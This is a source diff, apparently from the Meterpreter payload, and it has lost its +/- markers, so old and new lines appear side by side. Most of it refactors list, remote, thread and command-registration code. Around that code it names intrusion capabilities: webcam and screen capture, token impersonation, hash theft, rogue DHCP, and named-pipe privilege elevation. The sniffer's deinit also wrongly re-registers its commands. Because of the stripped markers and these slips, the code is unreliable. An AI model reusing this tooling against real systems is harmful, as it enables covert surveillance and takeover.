if( list == NULL || node == NULL)
if (list == NULL || node == NULL)
{
return FALSE;
}
if( list->count - 1 == 0 )
if (list->count - 1 == 0)
{
list->start = NULL;
list->end = NULL;
}
else
{
if( list->start == node )
if (list->start == node)
{
list->start = list->start->next;
list->start->prev = NULL;
}
else if( list->end == node )
else if (list->end == node)
{
list->end = list->end->prev;
list->end->next = NULL;
}
else
else
{
node->next->prev = node->prev;
node->prev->next = node->next;
@ -171,67 +196,81 @@ BOOL list_remove_node( LIST * list, NODE * node )
list->count -= 1;
node->next = NULL;
node->prev = NULL;
free( node );
free(node);
return TRUE;
}
/*
* Remove a given data item from the list. Assumes data items are unqique as only the first occurrence is removed.
/*!
* @brief Remove a given data item from the list.
* @param list Pointer to the \c LIST to remove the item from.
* @param data The data that is to be removed from the list.
* @remark Assumes data items are unqique as only the first occurrence is removed.
* @returns Indication of success or failure.
* @sa list_remove_node
*/
BOOL list_remove( LIST * list, LPVOID data )
BOOL list_remove(LIST * list, LPVOID data)
{
BOOL result = FALSE;
BOOL result = FALSE;
NODE * current_node = NULL;
if( list == NULL || data == NULL )
if (list == NULL || data == NULL)
{
return FALSE;
}
lock_acquire( list->lock );
lock_acquire(list->lock);
current_node = list->start;
while( current_node != NULL )
while (current_node != NULL)
{
if( current_node->data == data )
if (current_node->data == data)
{
break;
}
current_node = current_node->next;
}
result = list_remove_node( list, current_node );
result = list_remove_node(list, current_node);
lock_release(list->lock);
lock_release( list->lock );
return result;
}
/*
* Remove a list item at the specified index.
/*!
* @brief Remove a list item at the specified index.
* @param list Pointer to the \c LIST to remove the item from.
* @param index Index of the item to remove.
* @returns Indication of success or failure.
*/
BOOL list_delete( LIST * list, DWORD index )
BOOL list_delete(LIST * list, DWORD index)
{
BOOL result = FALSE;
LPVOID data = NULL;
BOOL result = FALSE;
LPVOID data = NULL;
NODE * current_node = NULL;
if( list == NULL )
if (list == NULL)
{
return FALSE;
}
lock_acquire( list->lock );
lock_acquire(list->lock);
if( list->count > index )
if (list->count > index)
{
current_node = list->start;
while( current_node != NULL )
while (current_node != NULL)
{
if( index == 0 )
if (index == 0)
{
result = list_remove_node( list, current_node );
result = list_remove_node(list, current_node);
break;
}
@ -241,34 +280,39 @@ BOOL list_delete( LIST * list, DWORD index )
}
}
lock_release( list->lock );
lock_release(list->lock);
return result;
}
/*
* Push a data item onto the end of the list.
/*!
* @brief Push a data item onto the end of the list.
* @param list Pointer to the \c LIST to append the data to.
* @param data Pointer to the data to append.
* @returns Indication of success or failure.
*/
BOOL list_push( LIST * list, LPVOID data )
BOOL list_push(LIST * list, LPVOID data)
{
NODE * node = NULL;
if( list == NULL )
if (list == NULL)
return FALSE;
node = (NODE *)malloc( sizeof(NODE) );
if( node == NULL )
node = (NODE*)malloc(sizeof(NODE));
if (node == NULL)
{
return FALSE;
}
node->data = data;
node->next = NULL;
node->prev = NULL;
node->data = data;
node->next = NULL;
node->prev = NULL;
lock_acquire( list->lock );
lock_acquire(list->lock);
if ( list->end != NULL )
{
list->end->next = node;
if (list->end != NULL)
{
list->end->next = node;
node->prev = list->end;
@ -277,60 +321,70 @@ BOOL list_push( LIST * list, LPVOID data )
else
{
list->start = node;
list->end = node;
list->end = node;
}
list->count += 1;
lock_release( list->lock );
lock_release(list->lock);
return TRUE;
}
/*
* Pop a data value off the end of the list.
/*!
* @brief Pop a data value off the end of the list.
* @param list Pointer to the \c LIST to pop the value from.
* @returns The popped value.
* @retval NULL Indicates no data in the list.
*/
LPVOID list_pop( LIST * list )
LPVOID list_pop(LIST * list)
{
LPVOID data = NULL;
if( list == NULL )
if (list == NULL)
{
return NULL;
}
lock_acquire( list->lock );
lock_acquire(list->lock);
if( list->end != NULL )
if (list->end != NULL)
{
data = list->end->data;
list_remove_node( list, list->end );
list_remove_node(list, list->end);
}
lock_release( list->lock );
lock_release(list->lock);
return data;
}
/*
* Pop a data value off the start of the list.
/*!
* @brief Pop a data value off the start of the list.
* @param list Pointer to the \c LIST to shift the value from.
* @returns The shifted value.
* @retval NULL Indicates no data in the list.
*/
LPVOID list_shift( LIST * list )
LPVOID list_shift(LIST * list)
{
LPVOID data = NULL;
if( list == NULL )
if (list == NULL)
{
return NULL;
}
lock_acquire( list->lock );
lock_acquire(list->lock);
if( list->start != NULL )
if (list->start != NULL)
{
data = list->start->data;
list_remove_node( list, list->start );
list_remove_node(list, list->start);
}
lock_release( list->lock );
lock_release(list->lock);
return data;
}
}

View File

@ -1,45 +1,36 @@
/*!
* @file list.h
* @brief Declarations for functions that operate on lists.
*/
#ifndef _METERPRETER_LIB_LIST_H
#define _METERPRETER_LIB_LIST_H
/*****************************************************************************************/
/*! @brief Container struct for data the lives in a list. */
typedef struct _NODE
{
struct _NODE * next;
struct _NODE * prev;
LPVOID data;
struct _NODE * next; ///< Pointer to the next node in the list.
struct _NODE * prev; ///< Pointer to the previous node in the list.
LPVOID data; ///< Reference to the data in the list node.
} NODE;
/*! @brief Container structure for a list instance. */
typedef struct _LIST
{
NODE * start;
NODE * end;
DWORD count;
LOCK * lock;
NODE * start; ///< Pointer to the first node in the list.
NODE * end; ///< Pointer to the last node in the list.
DWORD count; ///< Count of elements in the list.
LOCK * lock; ///< Reference to the list's synchronisation lock.
} LIST;
/*****************************************************************************************/
LIST * list_create( VOID );
VOID list_destroy( LIST * list );
DWORD list_count( LIST * list );
LPVOID list_get( LIST * list, DWORD index );
BOOL list_add( LIST * list, LPVOID data );
BOOL list_remove( LIST * list, LPVOID data );
BOOL list_delete( LIST * list, DWORD index );
BOOL list_push( LIST * list, LPVOID data );
LPVOID list_pop( LIST * list );
LPVOID list_shift( LIST * list );
/*****************************************************************************************/
LIST * list_create(VOID);
VOID list_destroy(LIST * list);
DWORD list_count(LIST * list);
LPVOID list_get(LIST * list, DWORD index);
BOOL list_add(LIST * list, LPVOID data);
BOOL list_remove(LIST * list, LPVOID data);
BOOL list_delete(LIST * list, DWORD index);
BOOL list_push(LIST * list, LPVOID data);
LPVOID list_pop(LIST * list);
LPVOID list_shift(LIST * list);
#endif

View File

@ -1,18 +1,26 @@
/*!
* @file remote.c
* @brief Definitions of functions and types that interact with a remote endpoint.
*/
#include "common.h"
/*
* Instantiate a remote context from a file descriptor
/*!
* @brief Instantiate a remote context from a file descriptor.
* @details This function takes a file descriptor and wraps it in \c Remote
* context which makes it easier to interact with the endpoint.
* @param fd File descriptor for the socket that needs to be wrapped.
* @returns Pointer to the created \c Remote instance.
* @retval NULL Indicates a memory allocation failure or a lock creation failure.
* @retval Non-NULL Successful creation of the context.
*/
Remote *remote_allocate(SOCKET fd)
{
Remote *remote = NULL;
// Allocate the remote context
if ((remote = (Remote *)malloc(sizeof(Remote))))
{
memset(remote, 0, sizeof(Remote));
// Set the file descriptor
remote->fd = fd;
remote->lock = lock_create();
@ -30,19 +38,26 @@ Remote *remote_allocate(SOCKET fd)
return remote;
}
/*
* Deallocate a remote context
/*!
* @brief Deallocate a remote context.
* @param remote Pointer to the \c Remote instance to deallocate.
*/
VOID remote_deallocate( Remote * remote )
VOID remote_deallocate(Remote * remote)
{
if( remote->fd )
closesocket( remote->fd );
if( remote->lock )
lock_destroy( remote->lock );
if (remote->fd)
{
closesocket(remote->fd);
}
if ( remote->uri )
free( remote->uri);
if (remote->lock)
{
lock_destroy(remote->lock);
}
if (remote->uri)
{
free(remote->uri);
}
// Wipe our structure from memory
memset(remote, 0, sizeof(Remote));
@ -50,24 +65,35 @@ VOID remote_deallocate( Remote * remote )
free(remote);
}
/*
* Override a previously set file descriptor
/*!
* @brief Override a previously set file descriptor.
* @param remote Pointer to the existing \c Remote instance.
* @param fd The new file descriptor to use for the \c Remote instance.
*/
VOID remote_set_fd(Remote *remote, SOCKET fd)
{
remote->fd = fd;
}
/*
* Get the remote context's file descriptor
/*!
* @brief Get the remote context's file descriptor.
* @param remote Pointer to the \c Remote instance to get the file descriptor from.
* @returns The associated file descriptor.
*/
SOCKET remote_get_fd(Remote *remote)
{
return remote->fd;
}
/*
* Initializes a given cipher as instructed to by the remote endpoint
/*!
* @brief Initializes a given cipher as instructed by the remote endpoint.
* @param remote Pointer to the \c Remote instance.
* @param cipher Name of the cipher to use.
* @param initializer Pointer to the received \c Packet instance.
* @returns Indication of success or failure.
* @retval ERROR_SUCCESS The cipher was set correctly.
* @retval ERROR_NOT_ENOUGH_MEMORY Memory allocation failed.
* @retval ERROR_NOT_FOUND An invalid value was specified for \c cipher.
*/
DWORD remote_set_cipher(Remote *remote, LPCSTR cipher, Packet *initializer)
{
@ -92,15 +118,21 @@ DWORD remote_set_cipher(Remote *remote, LPCSTR cipher, Packet *initializer)
// Populate handlers according to what cipher was selected
if (!strcmp(cipher, "xor"))
{
res = xor_populate_handlers(remote->crypto);
}
else
{
res = ERROR_NOT_FOUND;
}
// If we got a context and it wants to process the request, do it.
if ((res == ERROR_SUCCESS) &&
(remote->crypto->handlers.process_negotiate_request))
(remote->crypto->handlers.process_negotiate_request))
{
res = remote->crypto->handlers.process_negotiate_request(
remote->crypto, initializer);
remote->crypto, initializer);
}
} while (0);
@ -108,7 +140,9 @@ DWORD remote_set_cipher(Remote *remote, LPCSTR cipher, Packet *initializer)
if (res != ERROR_SUCCESS)
{
if (remote->crypto)
{
free(remote->crypto);
}
remote->crypto = NULL;
}
@ -116,8 +150,10 @@ DWORD remote_set_cipher(Remote *remote, LPCSTR cipher, Packet *initializer)
return res;
}
/*
* Returns a pointer to the remote endpoint's crypto context
/*!
* @brief Gets a pointer to the remote endpoint's crypto context.
* @param remote The \c Remote instance to get the crypto context from.
* @returns A pointer to the crypto context.
*/
CryptoContext *remote_get_cipher(Remote *remote)
{

View File

@ -1,3 +1,7 @@
/*!
* @file remote.h
* @brief Declarations of functions and types that interact with a remote endpoint.
*/
#ifndef _METERPRETER_LIB_REMOTE_H
#define _METERPRETER_LIB_REMOTE_H
@ -6,40 +10,44 @@
/*!
* @brief Remote context allocation.
*
* Wraps the initialized file descriptor for extension purposes.
* @details Wraps the initialized file descriptor for extension purposes.
* A \c Remote is effectively a pointer to a remote client context
* which contains magic pixie dust that identifies the connection
* along with a way to interact with it.
* @remark The `Original` and `Current` members are used to allow for
* functionality such as `rev2self` and reverting back to the initial
* desktop stations/desktops.
*/
typedef struct _Remote
{
HMODULE hMetSrv;
SOCKET fd;
CryptoContext *crypto;
SSL_METHOD *meth;
SSL_CTX *ctx;
SSL *ssl;
LOCK * lock; // lock must be acquired before doing any OpenSSL related action.
HANDLE hServerThread;
HANDLE hServerToken;
HANDLE hThreadToken;
HMODULE hMetSrv; ///< Reference to the Meterpreter server instance.
SOCKET fd; ///< Remote socket file descriptor.
CryptoContext *crypto; ///< Cryptographic context associated with the connection.
SSL_METHOD *meth; ///< The current SSL method in use.
SSL_CTX *ctx; ///< SSL-specific context information.
SSL *ssl; ///< Pointer to the SSL detail/version/etc.
LOCK * lock; ///< OpenSSL usage lock.
HANDLE hServerThread; ///< Handle to the current server thread.
HANDLE hServerToken; ///< Handle to the current server security token.
HANDLE hThreadToken; ///< Handle to the current thread security token.
DWORD dwOrigSessionId;
DWORD dwCurrentSessionId;
char * cpOrigStationName;
char * cpCurrentStationName;
char * cpOrigDesktopName;
char * cpCurrentDesktopName;
DWORD transport;
char *url;
char *uri;
HANDLE hInternet;
HANDLE hConnection;
DWORD dwOrigSessionId; ///< ID of the original Meterpreter session.
DWORD dwCurrentSessionId; ///< ID of the currently active session.
char * cpOrigStationName; ///< Original station name.
char * cpCurrentStationName; ///< Name of the current station.
char * cpOrigDesktopName; ///< Original desktop name.
char * cpCurrentDesktopName; ///< Name of the current desktop.
int expiration_time;
int start_time;
int comm_last_packet;
int comm_timeout;
DWORD transport; ///< Indicator of the transport in use for this session.
char *url; ///< Full URL in use during HTTP or HTTPS transport use.
char *uri; ///< URI endpoint in use during HTTP or HTTPS transport use.
HANDLE hInternet; ///< Handle to the internet module for use with HTTP and HTTPS.
HANDLE hConnection; ///< Handle to the HTTP or HTTPS connection.
int expiration_time; ///< Unix timestamp for when the server should shut down.
int start_time; ///< Unix timestamp representing the session startup time.
int comm_last_packet; ///< Unix timestamp of the last packet received.
int comm_timeout; ///< Unix timestamp for when to shutdown due to comms timeout.
} Remote;
Remote *remote_allocate(SOCKET fd);
@ -48,8 +56,8 @@ VOID remote_deallocate(Remote *remote);
VOID remote_set_fd(Remote *remote, SOCKET fd);
SOCKET remote_get_fd(Remote *remote);
DWORD remote_set_cipher(Remote *remote, LPCSTR cipher,
struct _Packet *initializer);
DWORD remote_set_cipher(Remote *remote, LPCSTR cipher,
struct _Packet *initializer);
CryptoContext *remote_get_cipher(Remote *remote);
#endif

View File

@ -4,12 +4,20 @@
#include "linkage.h"
#include "remote.h"
typedef DWORD (*WaitableNotifyRoutine)(Remote *remote, LPVOID context);
typedef enum
{
Pause = 1,
Resume = 2,
Stop = 3
} SchedularSignal;
typedef DWORD (*WaitableNotifyRoutine)(Remote *remote, LPVOID entryContext, LPVOID threadContext);
typedef DWORD (*WaitableDestroyRoutine)(HANDLE waitable, LPVOID entryContext, LPVOID threadContext);
LINKAGE DWORD scheduler_initialize( Remote * remote );
LINKAGE DWORD scheduler_destroy( VOID );
LINKAGE DWORD scheduler_insert_waitable( HANDLE waitable, LPVOID context, WaitableNotifyRoutine routine );
LINKAGE DWORD scheduler_remove_waitable( HANDLE waitable );
LINKAGE DWORD scheduler_insert_waitable( HANDLE waitable, LPVOID entryContext, LPVOID threadContext, WaitableNotifyRoutine routine, WaitableDestroyRoutine destroy );
LINKAGE DWORD scheduler_signal_waitable( HANDLE waitable, SchedularSignal signal );
LINKAGE DWORD THREADCALL scheduler_waitable_thread( THREAD * thread );
#endif

View File

@ -137,8 +137,11 @@ BOOL event_signal( EVENT * event )
return FALSE;
#ifdef _WIN32
if( SetEvent( event->handle ) == 0 )
dprintf( "Signalling 0x%x", event->handle );
if( SetEvent( event->handle ) == 0 ) {
dprintf( "Signalling 0x%x failed %u", event->handle, GetLastError() );
return FALSE;
}
#else
event->handle = (HANDLE)1;
__futex_wake(&(event->handle), 1);
@ -153,21 +156,26 @@ BOOL event_signal( EVENT * event )
*/
BOOL event_poll( EVENT * event, DWORD timeout )
{
#ifdef _WIN32
if( event == NULL )
return FALSE;
#ifdef _WIN32
if( WaitForSingleObject( event->handle, timeout ) == WAIT_OBJECT_0 )
return TRUE;
return FALSE;
#else
BOOL result = FALSE;
// DWORD WINAPI WaitForSingleObject(
// __in HANDLE hHandle,
// __in DWORD dwMilliseconds
// );
// http://msdn.microsoft.com/en-us/library/ms687032(VS.85).aspx
if( event == NULL )
return FALSE;
if(timeout) {
struct timespec ts;
@ -188,7 +196,12 @@ BOOL event_poll( EVENT * event, DWORD timeout )
__futex_wait(&(event->handle), 0, &ts);
}
return event->handle ? TRUE : FALSE;
// We should behave like an auto-reset event
result = event->handle ? TRUE : FALSE;
if( result )
event->handle = (HANDLE)0;
return result;
#endif
}
@ -321,7 +334,7 @@ void *__paused_thread(void *req)
/*
* Create a new thread in a suspended state.
*/
THREAD * thread_create( THREADFUNK funk, LPVOID param1, LPVOID param2 )
THREAD * thread_create( THREADFUNK funk, LPVOID param1, LPVOID param2, LPVOID param3 )
{
THREAD * thread = NULL;
@ -344,6 +357,7 @@ THREAD * thread_create( THREADFUNK funk, LPVOID param1, LPVOID param2 )
thread->parameter1 = param1;
thread->parameter2 = param2;
thread->parameter3 = param3;
#ifdef _WIN32
thread->handle = CreateThread( NULL, 0, funk, thread, CREATE_SUSPENDED, &thread->id );

View File

@ -60,6 +60,7 @@ typedef struct _THREAD
EVENT * sigterm;
LPVOID parameter1;
LPVOID parameter2;
LPVOID parameter3;
#ifndef _WIN32
void *suspend_thread_data;
pthread_t pid;
@ -99,7 +100,7 @@ BOOL event_poll( EVENT * event, DWORD timeout );
THREAD * thread_open( VOID );
THREAD * thread_create( THREADFUNK funk, LPVOID param1, LPVOID param2 );
THREAD * thread_create( THREADFUNK funk, LPVOID param1, LPVOID param2, LPVOID param3 );
BOOL thread_run( THREAD * thread );

View File

@ -22,29 +22,10 @@ EnableDelayLoadMetSrv();
Command customCommands[] =
{
// Video
{ "espia_video_get_dev_image",
{ request_video_get_dev_image, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Audio
{ "espia_audio_get_dev_audio",
{ request_audio_get_dev_audio, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Screen
{ "espia_image_get_dev_screen",
{ request_image_get_dev_screen, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Terminator
{ NULL,
{ EMPTY_DISPATCH_HANDLER },
{ EMPTY_DISPATCH_HANDLER },
},
COMMAND_REQ( "espia_video_get_dev_image", request_video_get_dev_image ),
COMMAND_REQ( "espia_audio_get_dev_audio", request_audio_get_dev_audio ),
COMMAND_REQ( "espia_image_get_dev_screen", request_image_get_dev_screen ),
COMMAND_TERMINATOR
};
/*
@ -56,13 +37,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
hMetSrv = remote->hMetSrv;
for (index = 0; customCommands[index].method; index++)
{
dprintf("Registering command index %d", index);
dprintf(" Command: %s", customCommands[index].method);
dprintf(" Register: 0x%.8x", command_register);
command_register(&customCommands[index]);
}
command_register_all( customCommands );
return ERROR_SUCCESS;
}
@ -72,12 +47,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
*/
DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
{
DWORD index;
for (index = 0;
customCommands[index].method;
index++)
command_deregister(&customCommands[index]);
command_deregister_all( customCommands );
return ERROR_SUCCESS;
}

View File

@ -181,47 +181,13 @@ cleanup:
Command customCommands[] =
{
// List tokens
{ "incognito_list_tokens",
{ request_incognito_list_tokens, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Impersonate token
{ "incognito_impersonate_token",
{ request_incognito_impersonate_token, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Add user to host
{ "incognito_add_user",
{ request_incognito_add_user, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Add user to group
{ "incognito_add_group_user",
{ request_incognito_add_group_user, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Add user to local group
{ "incognito_add_localgroup_user",
{ request_incognito_add_localgroup_user, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Snarf token hashes
{ "incognito_snarf_hashes",
{ request_incognito_snarf_hashes, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Terminator
{ NULL,
{ EMPTY_DISPATCH_HANDLER },
{ EMPTY_DISPATCH_HANDLER },
},
COMMAND_REQ( "incognito_list_tokens", request_incognito_list_tokens ),
COMMAND_REQ( "incognito_impersonate_token", request_incognito_impersonate_token ),
COMMAND_REQ( "incognito_add_user", request_incognito_add_user ),
COMMAND_REQ( "incognito_add_group_user", request_incognito_add_group_user ),
COMMAND_REQ( "incognito_add_localgroup_user", request_incognito_add_localgroup_user ),
COMMAND_REQ( "incognito_snarf_hashes", request_incognito_snarf_hashes ),
COMMAND_TERMINATOR
};
/*
@ -233,13 +199,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
hMetSrv = remote->hMetSrv;
for (index = 0; customCommands[index].method; index++)
{
dprintf("Registering command index %d", index);
dprintf(" Command: %s", customCommands[index].method);
dprintf(" Register: 0x%.8x", command_register);
command_register(&customCommands[index]);
}
command_register_all( customCommands );
return ERROR_SUCCESS;
}
@ -249,12 +209,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
*/
DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
{
DWORD index;
for (index = 0;
customCommands[index].method;
index++)
command_deregister(&customCommands[index]);
command_deregister_all( customCommands );
return ERROR_SUCCESS;
}

View File

@ -142,65 +142,16 @@ DWORD request_lanattacks_stop_tftp(Remote *remote, Packet *packet){
}
Command customCommands[] =
{
// Launch DHCP server
{ "lanattacks_start_dhcp",
{ request_lanattacks_start_dhcp, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Reset DHCP
{ "lanattacks_reset_dhcp",
{ request_lanattacks_reset_dhcp, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Set DHCP Option
{ "lanattacks_set_dhcp_option",
{ request_lanattacks_set_dhcp_option, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Stop DHCP
{ "lanattacks_stop_dhcp",
{ request_lanattacks_stop_dhcp, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Get DHCP Log
{ "lanattacks_dhcp_log",
{ request_lanattacks_dhcp_log, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Launch TFTP server
{ "lanattacks_start_tftp",
{ request_lanattacks_start_tftp, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Reset TFTP
{ "lanattacks_reset_tftp",
{ request_lanattacks_stop_tftp, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Add TFTP file
{ "lanattacks_add_tftp_file",
{ request_lanattacks_add_tftp_file, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Stop TFTP
{ "lanattacks_stop_tftp",
{ request_lanattacks_stop_tftp, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Terminator
{ NULL,
{ EMPTY_DISPATCH_HANDLER },
{ EMPTY_DISPATCH_HANDLER },
},
COMMAND_REQ( "lanattacks_start_dhcp", request_lanattacks_start_dhcp ),
COMMAND_REQ( "lanattacks_reset_dhcp", request_lanattacks_reset_dhcp ),
COMMAND_REQ( "lanattacks_set_dhcp_option", request_lanattacks_set_dhcp_option ),
COMMAND_REQ( "lanattacks_stop_dhcp", request_lanattacks_stop_dhcp ),
COMMAND_REQ( "lanattacks_dhcp_log", request_lanattacks_dhcp_log ),
COMMAND_REQ( "lanattacks_start_tftp", request_lanattacks_start_tftp ),
COMMAND_REQ( "lanattacks_reset_tftp", request_lanattacks_stop_tftp ),
COMMAND_REQ( "lanattacks_add_tftp_file", request_lanattacks_add_tftp_file ),
COMMAND_REQ( "lanattacks_stop_tftp", request_lanattacks_stop_tftp ),
COMMAND_TERMINATOR
};
/*
@ -211,13 +162,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote){
hMetSrv = remote->hMetSrv;
for (index = 0; customCommands[index].method; index++)
{
dprintf("Registering command index %d", index);
dprintf(" Command: %s", customCommands[index].method);
dprintf(" Register: 0x%.8x", command_register);
command_register(&customCommands[index]);
}
command_register_all( customCommands );
dhcpserver = createDHCPServer();
tftpserver = createTFTPServer();
@ -235,15 +180,13 @@ DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
{
DWORD index;
for (index = 0;
customCommands[index].method;
index++)
command_deregister(&customCommands[index]);
destroyDHCPServer(dhcpserver);
dhcpserver = NULL;
destroyTFTPServer(tftpserver);
tftpserver = NULL;
destroyDHCPServer(dhcpserver);
dhcpserver = NULL;
command_deregister_all( customCommands );
return ERROR_SUCCESS;
}

View File

@ -88,15 +88,8 @@ DWORD request_custom_command(Remote *remote, Packet *packet)
Command customCommands[] =
{
{ "mimikatz_custom_command",
{ request_custom_command, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Terminator
{ NULL,
{ EMPTY_DISPATCH_HANDLER },
{ EMPTY_DISPATCH_HANDLER },
},
COMMAND_REQ( "mimikatz_custom_command", request_custom_command ),
COMMAND_TERMINATOR
};
/*
@ -108,10 +101,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
hMetSrv = remote->hMetSrv;
for (index = 0;
customCommands[index].method;
index++)
command_register(&customCommands[index]);
command_register_all( customCommands );
return ERROR_SUCCESS;
}
@ -121,12 +111,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
*/
DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
{
DWORD index;
for (index = 0;
customCommands[index].method;
index++)
command_deregister(&customCommands[index]);
command_deregister_all( customCommands );
return ERROR_SUCCESS;
}

View File

@ -324,7 +324,7 @@ DWORD request_networkpug_start(Remote *remote, Packet *packet)
np->remote = remote;
np->pcap = pcap_open_live(interface, MAX_MTU, 1, 1000, errbuf);
// xxx, add in filter support
np->thread = thread_create((THREADFUNK) networkpug_thread, np, remote);
np->thread = thread_create((THREADFUNK) networkpug_thread, np, remote, NULL);
chops.native.context = np;
chops.native.write = networkpug_channel_write;

View File

@ -120,7 +120,7 @@ DWORD elevate_via_service_namedpipe( Remote * remote, Packet * packet )
_snprintf_s( cServiceArgs, sizeof(cServiceArgs), MAX_PATH, "cmd.exe /c echo %s > %s", cpServiceName, cServicePipe );
pThread = thread_create( elevate_namedpipe_thread, &cServicePipe, remote );
pThread = thread_create( elevate_namedpipe_thread, &cServicePipe, remote, NULL );
if( !pThread )
BREAK_WITH_ERROR( "[ELEVATE] elevate_via_service_namedpipe. thread_create failed", ERROR_INVALID_HANDLE );
@ -224,7 +224,7 @@ DWORD elevate_via_service_namedpipe2( Remote * remote, Packet * packet )
if( dwTotal != dwServiceLength )
BREAK_WITH_ERROR( "[ELEVATE] elevate_via_service_namedpipe2. WriteFile hServiceFile failed", ERROR_BAD_LENGTH );
pThread = thread_create( elevate_namedpipe_thread, &cServicePipe, remote );
pThread = thread_create( elevate_namedpipe_thread, &cServicePipe, remote, NULL );
if( !pThread )
BREAK_WITH_ERROR( "[ELEVATE] elevate_via_service_namedpipe2. thread_create failed", ERROR_INVALID_HANDLE );

View File

@ -675,7 +675,7 @@ DWORD request_sniffer_capture_start(Remote *remote, Packet *packet) {
dprintf("filter applied successfully");
}
j->thread = thread_create((THREADFUNK) sniffer_thread, j, NULL);
j->thread = thread_create((THREADFUNK) sniffer_thread, j, NULL, NULL);
if(! j->thread) {
pcap_close(j->pcap);
break;
@ -1123,12 +1123,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
#endif
dprintf("[SERVER] Registering command handlers...");
for (index = 0; customCommands[index].method; index++) {
dprintf("Registering command index %d", index);
dprintf(" Command: %s", customCommands[index].method);
dprintf(" Register: 0x%.8x", command_register);
command_register(&customCommands[index]);
}
command_register_all( customCommands );
dprintf("[SERVER] Memory reset of open_captures...");
memset(open_captures, 0, sizeof(open_captures));
@ -1193,12 +1188,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
*/
DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
{
DWORD index;
for (index = 0;
customCommands[index].method;
index++)
command_deregister(&customCommands[index]);
command_register_all( customCommands );
#ifdef _WIN32
MgrDestroy(hMgr);

View File

@ -133,12 +133,18 @@ DWORD get_interfaces_windows(Remote *remote, Packet *response) {
// when using newer structs.
IP_ADAPTER_PREFIX_XP *pPrefix = NULL;
// We can't rely on the `Length` parameter of the IP_ADAPTER_PREFIX_XP struct
// to tell us if we're on Vista or not because it always comes out at 48 bytes
// so we have to check the version manually.
OSVERSIONINFOEX v;
do
{
gaa = (DWORD (WINAPI *)(DWORD,DWORD,void*,void*,void*))GetProcAddress(
GetModuleHandle("iphlpapi"), "GetAdaptersAddresses"
);
if (!gaa) {
dprintf( "[INTERFACE] No 'GetAdaptersAddresses'. Falling back on get_interfaces_windows_mib" );
result = get_interfaces_windows_mib(remote, response);
break;
}
@ -155,42 +161,57 @@ DWORD get_interfaces_windows(Remote *remote, Packet *response) {
break;
}
dprintf( "[INTERFACE] pAdapters->Length = %d", pAdapters->Length );
// According to http://msdn.microsoft.com/en-us/library/windows/desktop/aa366058(v=vs.85).aspx
// the PIP_ADAPTER_PREFIX doesn't exist prior to XP SP1. We check for this via the `Length`
// value, which is 72 in XP without an SP, but 144 in later versions.
if (pAdapters->Length <= 72) {
dprintf( "[INTERFACE] PIP_ADAPTER_PREFIX is missing" );
result = get_interfaces_windows_mib(remote, response);
break;
}
// we'll need to know the version later on
memset( &v, 0, sizeof(v) );
v.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
GetVersionEx( (LPOSVERSIONINFO)&v );
// Enumerate the entries
for (pCurr = pAdapters; pCurr; pCurr = pCurr->Next)
for( pCurr = pAdapters; pCurr; pCurr = pCurr->Next )
{
// Save the first prefix for later in case we don't have an OnLinkPrefixLength
pPrefix = pCurr->FirstPrefix;
tlv_cnt = 0;
interface_index_bigendian = htonl(pCurr->IfIndex);
dprintf( "[INTERFACE] Adding index: %u", pCurr->IfIndex );
interface_index_bigendian = htonl(pCurr->IfIndex);
entries[tlv_cnt].header.length = sizeof(DWORD);
entries[tlv_cnt].header.type = TLV_TYPE_INTERFACE_INDEX;
entries[tlv_cnt].buffer = (PUCHAR)&interface_index_bigendian;
tlv_cnt++;
dprintf( "[INTERFACE] Adding MAC" );
entries[tlv_cnt].header.length = pCurr->PhysicalAddressLength;
entries[tlv_cnt].header.type = TLV_TYPE_MAC_ADDR;
entries[tlv_cnt].buffer = (PUCHAR)pCurr->PhysicalAddress;
tlv_cnt++;
dprintf( "[INTERFACE] Adding Description" );
entries[tlv_cnt].header.length = (DWORD)wcslen(pCurr->Description)*2 + 1;
entries[tlv_cnt].header.type = TLV_TYPE_MAC_NAME;
entries[tlv_cnt].buffer = (PUCHAR)pCurr->Description;
tlv_cnt++;
mtu_bigendian = htonl(pCurr->Mtu);
dprintf( "[INTERFACE] Adding MTU: %u", pCurr->Mtu );
mtu_bigendian = htonl(pCurr->Mtu);
entries[tlv_cnt].header.length = sizeof(DWORD);
entries[tlv_cnt].header.type = TLV_TYPE_INTERFACE_MTU;
entries[tlv_cnt].buffer = (PUCHAR)&mtu_bigendian;
tlv_cnt++;
// According to http://msdn.microsoft.com/en-us/library/windows/desktop/aa366058(v=vs.85).aspx
